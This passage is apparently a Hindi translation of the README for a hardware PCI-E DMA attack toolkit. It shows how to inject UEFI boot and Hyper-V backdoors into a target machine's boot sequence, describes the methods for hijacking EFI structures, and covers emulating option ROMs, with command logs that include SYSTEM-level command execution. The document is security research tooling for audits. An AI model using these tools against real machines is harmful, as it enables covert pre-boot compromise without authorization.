DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9
DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c
DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll"
DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe"
HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000
HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes)
HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000
HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90
HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes
DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll"
DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe"
DmaBackdoorHv.c(560) : new_ExitBootServices() called
```
हाइपर-वी बैकडोर उपयोग मामलों और सुविधाओं के बारे में अधिक जानकारी प्राप्त करने के लिए [इसकी README फ़ाइल देखें](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) जिसमें विस्तृत जानकारी है।
Python प्रोग्राम `uefi_backdoor_boot.py` और `uefi_backdoor_boot_shell.py` का उपयोग लक्षित सिस्टम के बूट अनुक्रम में Boot Backdoor इंजेक्ट करने के लिए किया जाता है। Boot Backdoor विंडोज़ ऑपरेटिंग सिस्टम के अंतर्गत मनमाना यूज़र मोड या कर्नेल मोड कोड चलाने की अनुमति देता है, और इसका पेलोड DMA Shell कंसोल कमांड निष्पादित करने और फ़ाइलें स्थानांतरित करने की अनुमति देता है। प्री-बूट DMA हमले का उपयोग करके Boot Backdoor को DMA Shell के साथ तैनात करने के लिए, आपको ऊपर वर्णित समान चरणों का पालन करना होगा, लेकिन `uefi_backdoor_boot_shell.py` प्रोग्राम का उपयोग करते हुए:```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded
Image base: 0x0086a000
OslArchTransferToKernel: 0x009c4b20
[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000
nt authority\system
```
अब, जब Boot Backdoor अपने पेलोड के साथ सफलतापूर्वक लोड हो चुका हो, तो आप वर्तमान में चल रहे DMA Shell इंस्टेंस से संवाद करने के लिए `uefi_backdoor_boot_shell.py` को `--attach` विकल्प के साथ चला सकते हैं:```
$ ./uefi_backdoor_boot_shell.py --attach --command "hostname"
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Payload shared memory region is at 0x00200000
[+] Executing command: hostname
[+] Process exit code: 0x00000000
DESKTOP-E52IJJ8
```
इसके अलावा, आप `--debug-output` विकल्प का उपयोग करके Boot Backdoor UEFI DXE driver के डीबग संदेश प्राप्त कर सकते हैं और उन्हें stdout में प्रिंट कर सकते हैं:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000
DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) : Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20
```
Boot Backdoor के उपयोग के मामलों और विशेषताओं के बारे में अधिक जानकारी प्राप्त करने के लिए [इसकी README फ़ाइल](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorBoot/README.MD) को विस्तृत जानकारी के साथ देखें।
Python प्रोग्राम `uefi_backdoor_simple.py`, `uefi_backdoor_hv.py`, `uefi_backdoor_boot.py` और `uefi_backdoor_boot_shell.py` इंजेक्ट किए गए UEFI DXE ड्राइवर इमेज में निष्पादन पास करने के दो अलग-अलग तरीकों का समर्थन करते हैं:
* `EFI_SYSTEM_TABLE` अपहरण − सिस्टम मेमोरी को भौतिक पते `0xf0000000` से `0` तक `0x10000` बाइट्स के चरण में स्कैन करें ताकि उसके हस्ताक्षर द्वारा EFI सिस्टम टेबल ढूँढा जा सके और `LocateProtocol()` फ़ंक्शन पते को पैच किया जा सके। मेमोरी स्कैन विकल्पों को ओवरराइड करने के लिए आप `SCAN_FROM` और `SCAN_STEP` पर्यावरण चर का उपयोग कर सकते हैं।
* `PROTOCOL_ENTRY` अपहरण − [CPU I/O 2 प्रोटोकॉल](https://github.com/tianocore/edk2/blob/master/MdePkg/Include/Protocol/CpuIo2.h) की `EFI_CPU_IO2_PROTOCOL` संरचना को खोजने के लिए सिस्टम मेमोरी को भौतिक पते `0x76000000` से `0xa0000000` तक `0x1000` बाइट्स के चरण में स्कैन करें और इसके किसी एक फ़ंक्शन को पैच करें। मेमोरी स्कैन विकल्पों को ओवरराइड करने के लिए आप `SCAN_FROM`, `SCAN_TO` और `SCAN_STEP` पर्यावरण चर का उपयोग कर सकते हैं।
डिफ़ॉल्ट रूप से सभी चार प्रोग्राम EFI सिस्टम टेबल अपहरण विधि का उपयोग करते हैं, इसके बजाय प्रोटोकॉल एंट्री विधि का उपयोग करने के लिए आप उपयुक्त प्रोग्राम में `--inj-prot` कमांड लाइन विकल्प पास कर सकते हैं। हमले को करने के लिए आवश्यक समय की मात्रा को कम करने के लिए आप पहले से पाए गए `EFI_SYSTEM_TABLE` संरचना पते को `--system-table` विकल्प और `PROTOCOL_ENTRY` संरचना पते को `--prot-entry` विकल्प का उपयोग करके निर्दिष्ट कर सकते हैं। साथ ही, सभी चार Python प्रोग्राम में `--test` कमांड लाइन विकल्प होता है; इस विकल्प का उपयोग निष्पादन प्रवाह का वास्तविक अपहरण किए बिना मेमोरी स्कैन करने और आवश्यक संरचना पते खोजने के लिए किया जाता है। इसलिए, पहले बूट के दौरान आप आवश्यक पता खोजने के लिए वांछित प्रोग्राम को `--test` विकल्प के साथ चला सकते हैं और दूसरे बूट के दौरान आप उस पते को निर्दिष्ट करने के लिए उसी प्रोग्राम को `--system-table` या `--prot-entry` विकल्प के साथ चला सकते हैं।
प्री-बूट DMA हमलों के लिए दुर्भावनापूर्ण कोड विकसित करने के दौरान UEFI DXE चरण के निष्पादन वातावरण के बारे में जानकारी होना महत्वपूर्ण है। ऐसी जानकारी एकत्र करने के लिए आप लक्षित कंप्यूटर चालू कर सकते हैं, ऑपरेटिंग सिस्टम के लोडिंग को रोकने के लिए BIOS सेटअप मेनू या बूट विकल्प मेनू में प्रवेश कर सकते हैं और बिना तर्कों के `uefi.py` प्रोग्राम चला सकते हैं। यह प्रोग्राम लक्षित कंप्यूटर की भौतिक मेमोरी को स्कैन करेगा और मौजूदा UEFI DXE प्रोटोकॉल और इंटरफेस, लोड किए गए UEFI ड्राइवरों, UEFI डिस्क्रिप्टर टेबल और ACPI टेबल के बारे में विभिन्न जानकारी प्रिंट करेगा। यहाँ आप `uefi.py` प्रोग्राम द्वारा प्राप्त जानकारी का [एक उदाहरण](https://gist.github.com/Cr4sh/206daf97b57c050392415616a30c3ca9) देख सकते हैं, जब [AAEON UP Squared](https://www.aaeon.com/en/p/iot-gateway-maker-boards-up-squared) मिनी-PC को हमले के लक्ष्य के रूप में उपयोग किया गया था।
## Option ROM हमले
प्रदान की गई बिटस्ट्रीम SP605 के ऑनबोर्ड लीनियर फ्लैश मेमोरी में संग्रहीत PCI-E विकल्प ROM का अनुकरण कर सकती है। हालाँकि आधुनिक प्लेटफ़ॉर्म [शमन करते हैं](https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/uefi-validation-option-rom-validation-guidance) विकल्प ROM [हमलों](https://trmm.net/Thunderstrike) को, फिर भी यह सुविधा सुरक्षा ऑडिट या प्रोटोटाइपिंग उद्देश्यों के लिए उपयोगी हो सकती है।
आप `pcie_rom_ctl.py` Python प्रोग्राम का उपयोग करके विकल्प ROM इमेज प्रबंधित कर सकते हैं।
विकल्प ROM सामग्री मिटाना:```
$ ./pcie_rom_ctl.py --erase
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Done
```
प्रदान किए गए UEFI option ROM उदाहरण को बोर्ड में लोड करना:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done
```
इसके अलावा, SP605 बोर्ड के डिबग UART में option ROM मेमोरी एक्सेस को लॉग करने का एक विकल्प है, इस विकल्प को सक्षम या अक्षम करने के लिए `./pcie_rom_ctl.py` प्रोग्राम के `--log-on` और `--log-off` पैरामीटर का उपयोग करें।
Linux के अंतर्गत option ROM समर्थन के सही संचालन को सत्यापित करने के लिए आप निम्न कार्य कर सकते हैं।
सबसे पहले, SP605 PCI-E डिवाइस का bus-device-function पता खोजें:```
# lspci | grep Xilinx
01:00.0 Ethernet controller: Xilinx Corporation Device 1337
```
फिर, कमांड रजिस्टर का enabled बिट सेट करें ताकि टारगेट सिस्टम option ROM फिजिकल मेमोरी रेंज तक के सभी मेमोरी एक्सेस प्रयासों को PCI-E डिवाइस को पास कर दे:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom
```
अब आप पहले लोड किए गए option ROM की सामग्री को `dd` कमांड और sysfs के उपयुक्त स्यूडो-फ़ाइल की सहायता से डंप कर सकते हैं:```
# dd if=/sys/bus/pci/devices/0000\:01\:00.0/rom | hexdump -Cv
00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....|
00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR|
00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............|
00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................|
00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
```
जब कॉन्फ़िगरेशन के दौरान `pcie_rom_ctl.py` प्रोग्राम का `--log-on` विकल्प निर्दिष्ट किया गया था, तो option ROM को डंप करते समय आपको SP605 बोर्ड के debug UART कंसोल पर निम्नलिखित संदेश दिखाई देंगे:```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
...
```
## समस्या निवारण
PCI Express एक बहुत जटिल हाई-स्पीड बस है, इसलिए कई चीज़ें गलत हो सकती हैं। यदि आपके सेटअप पर DMA हमला काम नहीं कर रहा है, तो आप सटीक समस्या का पता लगाने के लिए निम्नलिखित बातों की जाँच कर सकते हैं:
* `DS3` LED तब चालू होता है जब भौतिक PCI-E लिंक सक्रिय होता है और `DS4` तब चालू होता है जब रूट कॉम्प्लेक्स ने हमारे PCI-E एंडपॉइंट को बस-डिवाइस-फंक्शन पता सौंपा होता है। यदि `DS3` बंद है, तो यह संभवतः भौतिक कनेक्टिविटी समस्या है − अपने risers, केबल आदि की जाँच करें। यदि `DS3` चालू है लेकिन `DS4` बंद है, तो इसका मतलब है कि आपको अपने हमले के लक्ष्य को रीबूट करना होगा या उसकी ओर से PCI-E उपकरणों का rescan करने के लिए बाध्य करना होगा।
* `DS5` LED PCI-E बस रीसेट के दौरान चालू रहता है, जब यह हमेशा चालू रहता है तो यह भौतिक कनेक्टिविटी समस्या को दर्शाता है।
* यदि रूट कॉम्प्लेक्स मेमोरी रीड अनुरोध के उत्तर में CplD TLP के बजाय Cpl TLP भेजता है, तो इसका मतलब है कि मेमोरी एक्सेस को अमान्य पते या IOMMU द्वारा लागू एक्सेस जाँचों के कारण अस्वीकार कर दिया गया था। साथ ही, सामान्य x86 मशीन भौतिक एड्रेस स्पेस के कुछ MMIO क्षेत्रों के मेमोरी रीड अनुरोधों पर बिल्कुल भी उत्तर नहीं दे सकती है।
* यदि मेमोरी रीड अनुरोधों के उत्तर में सॉफ़्टवेयर को रूट कॉम्प्लेक्स से असंगत या अमान्य TLP प्राप्त हो रहे हैं, तो आप `pcie_lib.py` में `MEM_RD_TLP_LEN` स्थिरांक का छोटा मान सेट करके उत्तर डेटा को और छोटे हिस्सों में विभाजित करने का प्रयास कर सकते हैं। साथ ही, प्रोग्राम को `DEBUG_TLP=1` पर्यावरण चर के साथ चलाना और कच्चे TX/RX TLP डंप की जाँच करना उपयोगी है।
## स्रोत कोड से प्रोजेक्ट बनाना
1) अपने SP605 बोर्ड के साथ आने वाले Xilinx ISE 13.4 को इंस्टॉल करें और `s6_pcie_microblaze.xise` प्रोजेक्ट फ़ाइल खोलें।
2) प्रोजेक्ट पदानुक्रम में मौजूद `s6_pcie_v2_4` और `fifo_generator_v8_4` कोर को पुनर्जनित करें।
3) प्रोजेक्ट पदानुक्रम में `microblaze_i` इंस्टेंस पर क्लिक करें और "Export Hardware Design to SDK With Bitstream" चलाएँ।
4) जब बिल्ड पूरा हो जाएगा, ISE Xilinx Software Development Kit IDE खोलता है, `sdk` फ़ोल्डर को इसके कार्यक्षेत्र के रूप में उपयोग करें।
5) अपने Xilinx SDK प्रोजेक्ट ट्री में नया स्टैंडअलोन बोर्ड सपोर्ट पैकेज बनाएँ, BSP कॉन्फ़िगरेशन में lwIP और xilflash लाइब्रेरी चुनें।
6) `sdk/srec_bootloader_0` और `sdk/main_0` प्रोजेक्ट को प्रोजेक्ट ट्री में इम्पोर्ट करें और बिल्ड चलाएँ।
7) आवश्यक आउटपुट फ़ाइलें उत्पन्न करने के लिए Xilinx ISE कमांड प्रॉम्प्ट से `make bitstream && make srec` चलाएँ।
## डेवलपर
Dmytro Oleksiuk (aka Cr4sh)
[email protected]<br/>
http://blog.cr4.sh<br/>
[@d_olex](http://twitter.com/d_olex)<br/>
python/uefi_backdoor_simple.py − प्री-बूट DMA हमले के लिए कमांड लाइन प्रोग्राम जो लक्ष्य मशीन के बूट अनुक्रम में डमी UEFI ड्राइवर इंजेक्ट करता है।
python/uefi_backdoor_hv.py − प्री-बूट DMA हमले के लिए कमांड लाइन प्रोग्राम जो लक्ष्य सिस्टम के बूट अनुक्रम में Hyper-V VM exit handler backdoor इंजेक्ट करता है।
python/uefi_backdoor_boot.py − प्री-बूट DMA हमले के लिए कमांड लाइन प्रोग्राम जो लक्ष्य सिस्टम के बूट अनुक्रम में Boot Backdoor इंजेक्ट करता है।
python/payloads/DmaBackdoorSimple/ − uefi_backdoor_simple.py के साथ उपयोग के लिए डमी UEFI DXE ड्राइवर का स्रोत कोड।
python/payloads/DmaBackdoorHv/ − uefi_backdoor_hv.py के साथ उपयोग के लिए UEFI DXE ड्राइवर का स्रोत कोड, यह Hyper-V Backdoor कार्यक्षमता लागू करता है।
python/payloads/DmaBackdoorBoot/ − uefi_backdoor_boot.py के साथ उपयोग के लिए UEFI DXE ड्राइवर का स्रोत कोड, यह Boot Backdoor कार्यक्षमता लागू करता है।